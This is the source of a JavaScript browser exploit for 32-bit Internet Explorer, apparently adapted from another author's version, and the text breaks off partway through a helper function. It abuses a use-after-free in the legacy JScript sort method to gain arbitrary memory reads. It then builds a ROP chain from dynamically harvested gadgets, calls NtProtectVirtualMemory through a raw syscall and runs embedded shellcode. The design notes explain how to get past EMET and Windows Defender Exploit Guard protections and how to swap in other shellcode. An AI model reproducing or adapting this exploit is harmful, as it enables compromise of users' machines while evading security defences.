Maxspl0it's variation of this exploit works on IE 8-11 64-bit. It is using a
ret2libc style attack with a RIP hijack to NTDLL.DLL!NtContinue which then
calls KERNEL32.DLL!WinExec. Since it is on 64-bit (the first 4 parameters are in
RCX, RDX, R8 and R9) no stack pivot is needed, and this drastically simplifies
the creation of the exploit (especially as it relates to exploit mitigation
protections such as EMET).
My motivation in creating my own variation of this exploit was threefold:
1. I wanted to write an exploit that woulld work on 32-bit (as this is the
default IE used on Windows 7 and 8.1 and thus makes the exploit more practical).
2. I wanted it to bypass the advanced exploit mitigation features such as stack
pivot protection, EAF+, SimExec and CallerCheck (EMET 5.5 in Windows 7 but built
into Windows Defender Exploit Guard today).
3. I wanted it to execute a shellcode payload rather than simply a command via
a ret2libc style sttack.
The first point was a relatively easy one to deal with. The sizes and offsets of
various internal Windows and Javascript structures had to be adjusted for 32-bit.
The other two points significantly complicated the exploit beyond what is found in
maxspl0it's version of the exploit: executing a payload as shellcode requires a
DEP bypass, which in turn requires a stack pivot. Stack pivots are perhaps the
most scrutinized part of a modern exploit attack chain targeted by the exploit
mitigations in EMET 5.5 and Windows Defender today. Furthermore, EAF+ prevents the
resolution of key DEP bypass APIs (such as in my case NtProtectVirtualMemory)
originating from within jscript.dll, which meant API resolution had to be done
via import instead.
Design
The UAF aspect of the exploit itself is best explored in the aforementioned F-Secure
blog, but in summary, the legacy JS engine contained a bug which would not track
variables passed as arguments to the "sort" method of an array. This meant that
GcBlock structures (which store the VAR structs underlying vars in JS) could be
freed by the garbage collector despite still containing active variables in the JS
script. From here, it was just a matter of re-claiming these freed GcBlocks and
manipulating the VAR struct underlying the saved untracked vars (into BSTR for
arbitrary read attacks for example).
In both my variation and maxspl0it's the instruction pointer hijack is performed by
manipulating the VAR struct underlying one of these untracked vars to point to
a class object in another region of memory we control with the UAF re-claim. The first
field of this class object will be the vtable pointer, and thus we can place a pointer
at a method offset of our choice within this fake vtable. In this case, the "typeof"
method is used, and when the typeof the var is queried through the JS script it will
trigger execution of a pointer of our choice.
In my variation, this hijack takes the instruction pointer to a XCHG EAX, ESP gadget
within MSVCRT.DLL. There are only three gadgets in the ROP chain which need to be
scanned for in memory in order to dynamically generate the chain (this exploit does
not rely on static offsets within MSVCRT.DLL and should be reliable on any version of
this module):
1. XCHG EAX, ESP ; RET
2. POP EAX ; RET
3. ROPNOP (derived from either of the previous gadgets by doing a +1 on their address)
The goal of the ROP chain is to make a call to NtProtectVirtualMemory and change
the protections of the shellcode (stored within a BSTR) in memory from +RW to +RWX.
The issue with this, is that EMET hooks NtProtectVirtualMemory and will detect the
stack pivot. To solve this issue, I designed a syscall ROP chain which manually
populates EAX with the NtProtectVirtualMemory syscall number and triggers the syscall
itself using an unhooked region withinh NTDLL.DLL.
Payload
The payload is a simple message box shellcode, the source of which can be found here:
https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/EAF/MessageBox32.asm
There is one very significant detail to this shellcode which needs to be replicated in any
other shellcode substituted into this exploit if it is going to bypass EMET: the
shellcode makes a stack pivot using the stack base pointer stored in the TEB. This is
essential, as any call (even indirectly such as in the initialization user32.dll does
before popping a MessageBoxA) to a sensitive API hooked by EMET (and there are many of these)
will detect the stack pivot performed by the ROP chain and throw a security alert. Furthermore
if your shellcode needs to resolve APIs from NTDLL.DLL or Kernel32.dll, you will have issues
with the EAF feature of EMET, which uses debug registers to detect read access to the
export address table of these modules from any non-image memory region (such as the private
+RWX memory region where the shellcode is stored).
*/
var WindowsVersion = 7;
var WindowsArch = "x64"; // Can be "x64" or "x86". Note that this is the OS architecture, not the IE architecture (this exploit is for 32-bit IE only).
var Shellcode = [ 0x0004a164, 0x002d0000, 0x94000010, 0x68e58960, 0x00038f88, 0x00003ce8, 0xb81a6800, 0xe8500006, 0x0000007d, 0x7068646a, 0x89656e77, 0x656e68e1, 0x6f680074, 0x682e7272, 0x2d747365, 0x726f6668, 0x77776872, 0xe2892e77, 0x5152006a, 0xd0ff006a, 0x9461ec89, 0xe58955c3, 0x30be5657, 0x64000000, 0x0c408bad, 0x8918788b, 0xebc031fe, 0x74f73904, 0x74f68528, 0x245e8d24, 0x1474db85, 0x85044b8b, 0x6a0d74c9, 0x5de85101, 0x3b000001, 0x06740845, 0x368bc031, 0x468bd7eb, 0x895f5e10, 0x04c25dec, 0xe5895500, 0x0230ec81, 0x458b0000, 0xf8458908, 0x03f8558b, 0xc0833c42, 0xf0458904, 0x8914c083, 0xc289f445, 0x0308458b, 0x4a8b6042, 0xd04d8964, 0x89fc4589, 0x08458bc2, 0x89204203, 0x558bec45, 0x08458bfc, 0x89244203, 0x558be445, 0x08458bfc, 0x891c4203, 0xc031e845, 0x89e04589, 0x458bd845, 0x18408bfc, 0x0fe0453b, 0x0000d286, 0xe0458b00, 0x00850c8d, 0x8b000000, 0x458bec55, 0x11040308, 0x6ad44589, 0xbde85000, 0x3b000000, 0x850f0c45, 0x000000a1, 0x8de0458b, 0x458b0014, 0x04b70fe4, 0x850c8d02, 0x00000000, 0x8be8558b, 0x04030845, 0xd8458911, 0x89fc4d8b, 0xd05503ca, 0x7f7cc839, 0x7b7dd039, 0x00d845c7, 0x31000000, 0xd09d8dc9, 0x8afffffd, 0xfa800814, 0x80207400, 0x15752efa, 0x642e03c7, 0xc3836c6c, 0x0003c604, 0xfed09d8d, 0xeb41ffff, 0x411388de, 0xc6d8eb43, 0x9d8d0003, 0xfffffdd0, 0xe853006a, 0x0000003c, 0xfea3e850, 0xc085ffff, 0x45892974, 0x8d006adc, 0xfffed095, 0x21e852ff, 0x50000000, 0xe8dc75ff, 0xfffffed1, 0xebd84589, 0xe0458d0a, 0x1fe900ff, 0x8bffffff, 0xec89d845, 0x0008c25d, 0x57e58955, 0x8b084d8b, 0xdb310c7d, 0x74003980, 0x01b60f14, 0xb60f600c, 0xd1d301d0, 0xff8541e3, 0xeb41ea74, 0x5fd889e7, 0xc25dec89, 0x00650008, ];
////////
////////
// Debug/timer code
////////
var EnableDebug = 0;
var EnableTimers = 0;
var AlertOutput = 0;
var TimeStart;
var ReadCount;
function StartTimer() {
ReadCount = 0;
TimeStart = new Date().getTime();
}
function EndTimer(Message) {
var TotalTime = (new Date().getTime() - TimeStart);
if(EnableTimers) {
if(AlertOutput) {
alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
else {
console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
}
}
function DebugLog(Message) {
if(EnableDebug) {
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
////////
////////
// UAF/untracked variable creation code
////////
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 200 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 20000; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
var SortArray = new Array(); // Array to be "sorted" by glitched method
function GlitchedSort(untracked_1, untracked_2) { // goes to depth of 227 before freeing GcBlocks, which only happens once.
untracked_1 = VarSpray[SortDepth*2];
untracked_2 = VarSpray[SortDepth*2 + 1];
if(SortDepth > 150) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
UntrackedVarSet.push(untracked_1);
UntrackedVarSet.push(untracked_2);
return 0;
}
SortDepth += 1;
SortArray[SortDepth].sort(GlitchedSort);
UntrackedVarSet.push(untracked_1);
UntrackedVarSet.push(untracked_2);
return 0;
}
function NewUntrackedVarSet() {
SortDepth = 0;
VarSpray = new Array();
NameListAnchors = new Array();
UntrackedVarSet = new Array();
for(i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
for(i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
CollectGarbage();
SortArray[0].sort(GlitchedSort); // Two untracked vars will be passed to this method by the JS engine
}
////////
////////
// UAF re-claim/mutable variable code (used for arbitrary read)
////////
var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(379).join('A');
var MutableVar;
function ReClaimIndexNameList(Value, PropertyName) {
CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability.
AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
CollectGarbage(); // Free the leaked NameList
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[LeakedAnchorIndex]["\u0003"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable
ReadCount++;
}
function CreateVar32(Type, ObjPtr, NextVar) {
var Data = new Array(); // Every element of this array will be a WORD
Data.push(Type, 0x00, 0x00, 0x00, ObjPtr & 0xFFFF, (ObjPtr >> 16) & 0xFFFF, NextVar & 0xFFFF, (NextVar >> 16) & 0xFFFF);
return String.fromCharCode.apply(null, Data);
}
function LeakByte(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}
function LeakWord(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}
function LeakDword(Address) {
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimIndexNameList(0, CreateVar32(0x8, Address + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LowWord + (HighWord << 16);
}
function LeakObjectAddress(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 2, 0)); // Skip +8 over Type field of VAR to object pointer field and +2 for BSTR length adjustment
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) and +8 to skip over VAR Type
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LeakDword((LowWord + (HighWord << 16)) + 8); // The VAR at the start of the VVAL has an object pointer that points to yet another VAR: this second one will have the actual address of the object in its object pointer field
}
////////
////////
// PE parsing/EAT and IAT resolution code
////////
function DiveModuleBase(Address) {
var Base = (Address & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header.
while(true) {
if(LeakWord(Base) == 0x6854) { // 'hT'
if(LeakWord(Base + 2) == 0x7369) { // 'si'
return (Base - 0x4E);
}
}
Base -= 0x10000;
}
return 0;
}
function ResolveExport(ModuleBase, TargetExportNameTable) {
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ExportDataDir = ModuleBase + FileHdr + 0x78;
if(ExportDataDir) {
var EATRva = LeakDword(ExportDataDir);
var TotalExports = LeakDword(ModuleBase + EATRva + 0x14);
var AddressRvas = LeakDword(ModuleBase + EATRva + 0x1C);
var NameRvas = LeakDword(ModuleBase + EATRva + 0x20);
var OrdinalRvas = LeakDword(ModuleBase + EATRva + 0x24);
var MaxIndex = TotalExports;
var MinIndex = 0;
var CurrentIndex = Math.floor(TotalExports / 2);
var TargetTableIndex = 0;
var BinRes = 0;
while(TotalExports) {
var CurrentNameRva = LeakDword(ModuleBase + NameRvas + 4*CurrentIndex);
while (TargetTableIndex < TargetExportNameTable.length) {
CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)));
var ExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF);
var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10));
if(!BinRes) {
DebugLog("Matched!");
ExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16);
if(ExportNameWord != 0) { // Special case: final WORD of name array is 0, consider this a match
CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)) + 2);
SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord);
DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10) + " at index " + TargetTableIndex.toString(10));
if(!BinRes) {
DebugLog("Matched!");
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*CurrentIndex);
MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal));
return [ MainExport , CurrentIndex];
}
else {
DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10));
}
TargetTableIndex++;
}
else {
TargetTableIndex = 0;
break;
}
}
else {
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
Ordinal = LeakWord(ModuleBase + OrdinalRvas + (2 * CurrentIndex));
MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + (4 * Ordinal)));
return [ MainExport, CurrentIndex];
}
else {
alert("Fatal error during export lookup: target export name array contained a NULL byte not at the end of its final element");
}
}
}
else {
TargetTableIndex = 0;
break;
}
}
if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
if(MaxIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit max");
break;
}
MaxIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
}
else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
if(MinIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit min");
break;
}
MinIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
}
if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) {
DebugLog("Failed to find export: current, min and max indexes are all equal");
break;
}
}
}
return [0,0];
}
function CheckINTThunk(ModuleBase, INTThunkRva, TargetImportNameTable) {
var INTThunkValue = LeakDword(ModuleBase + INTThunkRva);
if(INTThunkValue == 0) {
return -1;
}
if((INTThunkValue & 0x80000000) == 0) { // Only parse non-orginal INT entries
var ImportNameAddress = (ModuleBase + INTThunkValue + 2); // The INT thunk is an RVA pointing at a IMAGE_IMPORT_BY_NAME struct. Skip the hint field in this struct to point directly to the ASCII import name.
if(StrcmpLeak(TargetImportNameTable, ImportNameAddress)) {
return 1;
}
}
return 0;
}
function ResolveImport(ModuleBase, HintIndex, TargetModuleNameTable, TargetImportNameTable) {
var ExtractedAddresss = 0;
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
var ImportRva = LeakDword(ImportDataDir);
var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
var CurrentNameDesc = ModuleBase + ImportRva;
while(ImportSize != 0) {
NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
if(NameField != 0) {
if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
// Found the target module by name. Walk its INT to check each name.
var HighIATIndex = (HintIndex + 1);
var LowIATIndex = (HintIndex - 1);
var BaseINTThunkRva = (LeakDword(CurrentNameDesc + 0x0));
var BaseIATThunkRva = (LeakDword(CurrentNameDesc + 0x10));
var ResolvedIATIndex = -1;
if(BaseINTThunkRva == 0) {
alert("INT is empty in target module");
}
// Start by checking the INT at the specified hint index
if(CheckINTThunk(ModuleBase, BaseINTThunkRva + (HintIndex * 4), TargetImportNameTable)) {
ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva);
break;
}
// Specified import was not found at the provided hint index. Walk the INT forward/backward in unison from the hint index.
var HighINTThunkRva = (BaseINTThunkRva + (HighIATIndex * 4));
var LowINTThunkRva = (BaseINTThunkRva + (LowIATIndex * 4));
var HitINTThunkCeiling = 0;
while(true) {
if(!HitINTThunkCeiling) {
var ThunkRes = CheckINTThunk(ModuleBase, HighINTThunkRva, TargetImportNameTable);
if(ThunkRes == -1) {
HitINTThunkCeiling = 1;
}
else if(ThunkRes) {
ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (HighIATIndex * 4));
ResolvedIATIndex = HighIATIndex;
break;
}
else {
HighINTThunkRva += 4;
HighIATIndex++;
}
}
if(LowINTThunkRva >= BaseINTThunkRva) {
if(CheckINTThunk(ModuleBase, LowINTThunkRva, TargetImportNameTable)) {
ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (LowIATIndex * 4));
ResolvedIATIndex = LowIATIndex;
break;
}
LowINTThunkRva -= 4;
LowIATIndex--;
}
}
if(ExtractedAddresss != 0) {
DebugLog("Identified target import at IAT index " + ResolvedIATIndex.toString(10));
break;
}
}
ImportSize -= 0x14;
CurrentNameDesc += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
function ExtractBaseFromImports(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module
var ExtractedAddresss = 0;
var FileHdr = LeakDword(ModuleBase + 0x3c);
var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory
var ImportRva = LeakDword(ImportDataDir);
var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir
var CurrentNameDesc = ModuleBase + ImportRva;
while(ImportSize != 0) {
NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer
if(NameField != 0) {
if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) {
ThunkAddress = LeakDword(CurrentNameDesc + 0x10);
ExtractedAddresss = LeakDword(ModuleBase + ThunkAddress + 8); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances
break;
}
ImportSize -= 0x14;
CurrentNameDesc += 0x14; // Next import descriptor in array
}
else {
break;
}
}
return ExtractedAddresss;
}
////////
////////
// Dynamic ROP chain creation code
////////
function HarvestGadget(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) {
var MaxHighOffset = (HintExportAddress + MagicOffset + MaxDelta);
var MinLowOffset = ((HintExportAddress + MagicOffset) - MaxDelta);
var LeakAddress = HintExportAddress + MagicOffset;
var LeakFunc = LeakDword; // In nthe event a 0x00FFFFFF mask is used, LeakDword will be used, but will still be filtered
if(MinLowOffset < HintExportAddress) {
MinLowOffset = HintExportAddress;
}
DebugLog("Hunting for gadget 0x" + Data.toString(16) + " betwee 0x" + MinLowOffset.toString(16) + " and 0x" + MaxHighOffset.toString(16) + " starting from 0x" + LeakAddress.toString(16));
if(DataMask == 0x0000FFFF) {
LeakFunc = LeakWord;
}
else {
alert("Unhaandled data mask for gadget harvest");
return 0;
}
if((LeakFunc(LeakAddress) & DataMask) == Data) {
DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16));
}
else {
var HighAddress = (LeakAddress + 1);
var LowAddress = LeakAddress - 1;
LeakAddress = 0;
while(LowAddress >= MinLowOffset || HighAddress < MaxHighOffset) {
if(LowAddress >= MinLowOffset) {
if((LeakFunc(LowAddress) & DataMask) == Data) {
DebugLog("Found gadget from scan below magic at " + LowAddress.toString(16));
LeakAddress = LowAddress;
break;
}
LowAddress -= 1;
}
if(HighAddress < MaxHighOffset) {
if((LeakFunc(HighAddress) & DataMask) == Data) {
DebugLog("Found gadget from scan above magic at " + HighAddress.toString(16));
LeakAddress = HighAddress;
break;
}
HighAddress += 1;
}
}
}
return LeakAddress;
}
function ResolveNtProtectProxyStub(ScanAddress, MaxOffset) {
/*
Windows 7 x64 NTDLL Wow64
7725001A | 64:FF15 C0000000 | call dword ptr fs:[C0] |
77250021 | 83C4 04 | add esp,4 |
77250024 | C2 0800 | ret 8 |
77250027 | 90 | nop |
77250028 | E9 BB0857BF | jmp 367C08E8 | <- NtProtectVirtualMemory
7725002D | CC | int3 |
7725002E | CC | int3 |
7725002F | 8D5424 04 | lea edx,dword ptr ss:[esp+4] |
77250033 | 64:FF15 C0000000 | call dword ptr fs:[C0] |
7725003A | 83C4 04 | add esp,4 |
7725003D | C2 1400 | ret 14 |
77250040 | B8 4E000000 | mov eax,4E | 4E:'N'
77250045 | 33C9 | xor ecx,ecx |
77250047 | 8D5424 04 | lea edx,dword ptr ss:[esp+4] |
7725004B | 64:FF15 C0000000 | call dword ptr fs:[C0] |
77250052 | 83C4 04 | add esp,4 |
77250055 | C2 1400 | ret 14 |
Windows 7 x86 NTDLL 32-bit
77305F18 | B8 D7000000 | mov eax,D7 | <- NtProtectVirtualMemory
77305F1D | BA 0003FE7F | mov edx,<&KiFastSystemCall> | <- stub resolved here
77305F22 | FF12 | call dword ptr ds:[edx] |
77305F24 | C2 1400 | ret 14 |
*/
var Offset = 0;
var LastMovEaxAddress = 0;
var ProxyStubAddress = 0;
var RetnScenarioOne = 0;
var RetnScenarioTwo = 0;
// Scan forward searching for 0xB8 opcode. Once one is found, scan forward until 0xC2 0x14 0x00 is found. Proxy stub address will be the address of the last 0xB8 opcode +5.
while(Offset < MaxOffset) {
var LeakAddress = ScanAddress + Offset;
var LeakedWord = LeakWord(LeakAddress);
var ByteOne = (LeakedWord & 0x00FF);
var ByteTwo = ((LeakedWord & 0xFF00) >> 8);
if(ByteOne == 0xB8) {
LastMovEaxAddress = LeakAddress;
}
else if(ByteTwo == 0xB8) {
LastMovEaxAddress = (LeakAddress + 1);
}
/*
Scenario one:
Byte one = 0xc2
Byte two = 0x14
Next:
Byte one = 0x00
--
Scenario two:
Byte two - 0xC2
Next:
Byte one - 0x14
Byte two - 0x00
*/
else if(LastMovEaxAddress != 0) {
if(!RetnScenarioOne) {
if(ByteOne == 0xc2 && ByteTwo == 0x14) {
RetnScenarioOne = 1;
}
}
else {
if(ByteOne == 0x00) {
ProxyStubAddress = (LastMovEaxAddress + 5);
DebugLog("NtProtectVirtualMemory proxy stub scenario one scan success: 0x" + ProxyStubAddress.toString(16));
break;
}
else {
RetnScenarioOne = 0;
}
}
if(!RetnScenarioTwo) {
if(ByteTwo == 0xC2) {
RetnScenarioTwo = 1;
}
}
else {
if(ByteOne == 0x14 && ByteTwo == 0x00) {
ProxyStubAddress = (LastMovEaxAddress + 5);
DebugLog("NtProtectVirtualMemory proxy stub scenario two scan success: 0x" + ProxyStubAddress.toString(16));
break;
}
else {
RetnScenarioTwo = 0;
}
}
}
Offset += 2;
}
return ProxyStubAddress;
}
function ResolveGadgetSet(MsvcrtBase) { // Dynamically resolve gadget addresses via delta from export addresses - MSVCRT.DLL is used to harvest gadgets as its EAT is not protected by EAF/EAF+
var GadgetSetObj = new Object();
DebugLog("Dynamically resolving ROP gadget addresses from MSVCRT.DLL export address hints from base " + MsvcrtBase.toString(16));
// XCHG EAX, ESP; RET
// For Win7 x64 Wow64:
// __libm_sse2_log10:0x0008dc45 (+0x4f0) <- 0x0008e135 -> (+0x670) __libm_sse2_log10f:0x0008e7a5
// For Win8.1:
//__libm_sse2_log10:0x000a9b80 (+0x4e5) <- 0x000aa065 -> (+0x67b) __libm_sse2_log10f:0x000aa6e0
var ExportPair = ResolveExport(MsvcrtBase, [0x696c5f5f, 0x735f6d62, 0x5f326573, 0x31676f6c, 0x00000030]); // 'il__' 's_mb' '_2es' '1gol' '0'
if(ExportPair[0]) {
GadgetSetObj.StackPivot = HarvestGadget(ExportPair[0], 0x100, 0xc394, 0x0000FFFF, 0x4f0);
if(GadgetSetObj.StackPivot != 0) {
DebugLog("Stack pivot resolved to: " + GadgetSetObj.StackPivot.toString(16));
GadgetSetObj.RopNop = (GadgetSetObj.StackPivot + 1);
// POP EAX; RET
// Win7/8 (+0x13 and same export on both)
// _safe_fdivr:0x00031821 (+0x13) <- 0x00031834 -> (+0x208) _adj_fprem:0x00031a3c
ExportPair = ResolveExport(MsvcrtBase, [0x6661735f, 0x64665f65, 0x00727669]); // 'fas_' 'df_e' 'rvi'
if(ExportPair[0]) {
GadgetSetObj.PopEax = HarvestGadget(ExportPair[0], 0x100, 0xc358, 0x0000FFFF, 0x00000013); // Win7/8.1 have same offset
if(GadgetSetObj.PopEax) {
return GadgetSetObj;
}
else {
DebugLog("Failed to resolve POP EAX gadget address");
}
}
else {
DebugLog("Failed to resolve msvcrt.dll!_safe_fdivr as export hint");
}
}
else {
DebugLog("Failed to resolve stack pivot gadget address");
}
}
else {
DebugLog("Failed to resolve msvcrt.dll!__libm_sse2_log10 as export hint");
}
return null;
}
function CreateFakeVtable(FakeVtablePaddingSize, VtableSize, NtProtectAddress, ShellcodeAddress, RopGadgetSet, WritableAddress) {
// [Padding]
// [ROPNOP sled]
// [Stack alignment gadget]
// [Stack pivot]
// [Set EAX to 0x4D]
// [NtProtoectVirtualMemry]
// [Shellcode address] <- NtProtoectVirtualMemry return
// [NtProtoectVirtualMemry parameters]
// [Stack pivot]
// [Padding]
var FakeVtable = "";
var X = 0;
var Y = 0;
var PaddingArrayLen = FakeVtablePaddingSize / 4;
var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2);
var PaddingArray = [];
var SyscallNumber;
for(i = 0; i < PaddingArrayLen; i++) {
PaddingArray[i] = 0x11111111;
}
FakeVtable += ConvertDwordArrayToBytes(PaddingArray);
DebugLog("Final stack pivot for vtable at " + RopGadgetSet.StackPivot.toString(16));
while (FakeVtable.length < TotalObjLen) {
if(Y == 0x9c) {
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]);
}
else if(Y == 0x98) {
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);
}
else {
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]);
}
Y += 4;
}
// Layout of storage address region
// +0x0 | Original ESP
// +0x4 | Shellcode address
// +0x8 | Shellcode size
// +0xC | Old protection
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]);
if(WindowsVersion == 8.1) {
SyscallNumber = 0x4F; // Windows 8.1 x64 NtProtectVirtualMemory SYSCALL #
}
else {
if(WindowsArch == "x64") {
SyscallNumber = 0x4D; // Windows 7 x64 SP0/SP1 Wow64 NtProtectVirtualMemory SYSCALL #
}
else if(WindowsArch == "x86") {
SyscallNumber = 0xD7; // Windows 7 x86 SP0/SP1 32-bit NtProtectVirtualMemory SYSCALL #
}
}
// NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
FakeVtable += ConvertDwordArrayToBytes([SyscallNumber]);
FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress]);
FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); // Return address
FakeVtable += ConvertDwordArrayToBytes([0xFFFFFFFF]);
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x4]);
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x8]);
FakeVtable += ConvertDwordArrayToBytes([0x40]); // +RX (PAGE_EXECUTE_READ) causes problems due to the page alignment used by NtProtectVirtualMemory. The shellcode is unlikely to begin on a clean multiple of 0x1000, and similarly won't probably end on one either (although this attribute can be manipulated with padding). +RW data on the heap surrounding the shellcode may end up +RX and this causes crashes.
FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0xC]);
FakeVtable += ConvertDwordArrayToBytes([ShellcodeAddress]);
FakeVtable += ConvertDwordArrayToBytes([0x11111111]); // Shellcode will return to this pseudo-address
// Padding on the end of the vtable is not needed: both NtProtectVirtualMemory and the shellcode will be using memory below this address
return FakeVtable;
}
////////
////////
// Misc. helper functions
////////
function NullSanitizeWord(StrWord) {
var Sanitized = 0;
if(StrWord != 0) {
if((StrWord & 0x00FF) == 0) {
Sanitized = 0; // First byte is NULL, end of the string.
}
else {
Sanitized = StrWord;
}
}
return Sanitized;
}
function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater
if(TargetNum == CmpNum) {
return 0;
}
while(true) {
if((TargetNum & 0xff) > (CmpNum & 0xff)) {
return -1;
}
else if((TargetNum & 0xff) < (CmpNum & 0xff)) {
return 1;
}
TargetNum = TargetNum >> 8;
CmpNum = CmpNum >> 8;
}
}
function DwordToUnicode(Dword) {
var Unicode = String.fromCharCode(Dword & 0xFFFF);
Unicode += String.fromCharCode(Dword >> 16);
return Unicode;
}
function TableToUnicode(Table) {
var Unicode = "";
for (i = 0; i < Table.length; i++) {
Unicode += DwordToUnicode(Table[i]);
}
return Unicode;
}
function ConvertDwordArrayToBytes(DwordArray) {
var ByteArray = [];
